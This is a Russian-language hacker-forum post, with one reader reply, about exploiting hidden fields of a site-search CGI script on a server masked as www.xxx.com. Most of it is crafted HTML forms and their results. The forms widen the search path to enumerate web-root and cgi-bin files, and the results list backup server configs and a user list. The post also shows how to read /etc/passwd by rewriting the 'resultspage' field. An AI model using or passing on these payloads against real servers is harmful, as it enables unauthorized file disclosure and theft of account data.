Сколько раз уже говорили о опасности сокрытой в скрытых формах, но все равно встречаются умельцы, которые пренебрегают ею. В html-коде index'ной страницы сервера www.xxx.com есть такой вот фрагмент: (ненужные элементы дизайна удалены) <form method=POST action="/cgi-bin/wsmsearch2.cgi"> Search Site: <input type=text name="terms" size=20> <input type=hidden name=boolean value="AND"> <input type=hidden name=case value="Insensitive"> <input type=hidden name=quicksearch value="NO"> <input type=hidden name=max value="50"> <input type=hidden name=faqfile value="/opt2/xxx/httpd/htdocs _ http://www.xxx.com/ _ *.* manual/ updates/ _ http://www.xxx.com"> <input type=hidden name=resultspage value="/opt2/xxx/httpd/htdocs/results.html"> <input type=submit value="Search!"> как уже стало понятно, это скрипт поисковой системы по сайту. но вот эти строчки особенно интересны: <input type=hidden name=faqfile value="/opt2/xxx/httpd/htdocs _ http://www.xxx.com/ _ *.* manual/ updates/ _ http://www.xxx.com"> <input type=hidden name=resultspage value="/opt2/xxx/httpd/htdocs/results.html"> /opt2/xxx/httpd/htdocs - это инсталяционный путь сайта, но это еще не все. скрипт поиска берет свои данные из скрытых форм: <input type=hidden name=boolean value="AND"> <input type=hidden name=case value="Insensitive"> <input type=hidden name=quicksearch value="NO"> <input type=hidden name=max value="50"> <input type=hidden name=faqfile value="/opt2/xxx/httpd/htdocs _ http://www.xxx.com/ _ *.* manual/ updates/ _ http://www.xxx.com"> <input type=hidden name=resultspage value="/opt2/xxx/httpd/htdocs/results.html"> то есть поиск производиться в папках: manual/ updates/ и корневой папке сервера http://www.xxx.com/ _ *.* (интересно что с помощью этого поикового скрипта был обнаружен файл: www_xxx_user_list.txt в корне сервера, это список юзеров). так вот здесь можно манипулировать запросами скрипта. создаем html вот с таким кодом: <form method=POST action="http://www.xxx.com/cgi-bin/wsmsearch2.cgi"> Search Site: <input type=text name="terms" size=20> <input type=hidden name=boolean value="AND"> <input type=hidden name=case value="Insensitive"> <input type=hidden name=quicksearch value="NO"> <input type=hidden name=max value="50"> <input type=hidden name=faqfile value="/opt2/xxx/httpd/htdocs"> <input type=hidden name=resultspage value="/opt2/xxx/httpd/htdocs/results.html"> <input type=submit value="Search!"> то есть просто убираем строчки: _ http://www.xxx.com/ _ *.* manual/ updates/ _ http://www.xxx.com и выполняем поисковый запрос по всему сайту. так же можно искать файлы и в /opt2/xxx/httpd/htdocs/cgi-bin/ : <form method=POST action="http://www.xxx.com/cgi-bin/wsmsearch2.cgi"> Search Site: <input type=text name="terms" size=20> <input type=hidden name=boolean value="AND"> <input type=hidden name=case value="Insensitive"> <input type=hidden name=quicksearch value="NO"> <input type=hidden name=max value="50"> <input type=hidden name=faqfile value="/opt2/xxx/httpd/htdocs_ http://www.xxx.com/ _ *.* cgi-bin/ _ http://www.xxx.com"> <input type=hidden name=resultspage value="/opt2/xxx/httpd/htdocs/results.html"> <input type=submit value="Search!"> вот что было обнаружено в результате этих запросов: Here are your search results for the keyword(s) conf.dont_use in order of relevance. 1) conf.dont_use/srm.conf.old SIZE: 7354 bytes TYPE: Unknown Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0 partial matches: 0 2) conf.dont_use/srm.conf SIZE: 7436 bytes TYPE: Unknown Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0 partial matches: 0 3) conf.dont_use/sessiond.conf SIZE: 159 bytes TYPE: Unknown Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0 partial matches: 0 4) conf.dont_use/mime.types SIZE: 2652 bytes TYPE: Unknown Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0 partial matches: 0 5) conf.dont_use/imagemap.conf SIZE: 1062 bytes TYPE: Unknown Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0 partial matches: 0 6) conf.dont_use/httpsd.conf.dave SIZE: 43652 bytes TYPE: Unknown Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0 partial matches: 0 7) conf.dont_use/httpsd.conf.11-20-2001 SIZE: 43841 bytes TYPE: Unknown Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0 partial matches: 0 8) conf.dont_use/httpsd.conf-backup SIZE: 13243 bytes TYPE: Unknown Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0 partial matches: 0 9) conf.dont_use/httpsd.conf SIZE: 43927 bytes TYPE: Unknown Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0 partial matches: 0 10) conf.dont_use/httpd.conf.vhback SIZE: 7225 bytes TYPE: Unknown Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0 partial matches: 0 11) conf.dont_use/httpd.conf.11-20-2001 SIZE: 7451 bytes TYPE: Unknown Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0 partial matches: 0 12) conf.dont_use/httpd.conf SIZE: 7451 bytes TYPE: Unknown Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0 partial matches: 0 13) conf.dont_use/access.conf SIZE: 1725 bytes TYPE: Unknown Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0 partial matches: 0 и еще один скрипт: Here are your search results for the keyword(s) securedata in order of relevance. 1) cgi-bin/conf.dont_use/resetsecuredata.cgi SIZE: bytes TYPE: CGIsсript Term: securedata Filename matches: 0,1 Title matches: 0,0 exact matches: 0 partial matches: 0 Ну а всеми любимый /etc/passwd получается совсем просто : достаточно просто значение скрытого поля resultspage заменить на /etc/passwd. Вот так вот иногда администраторы сервера пытаются залатать всевозможные дыры, накатывая последние патчи, а информация утекает просто из html-кода. твой bug Durito
полезная статья хотя это уже не новое...помните багу на мэйлру где в скрытом поле находился пасс юзверя...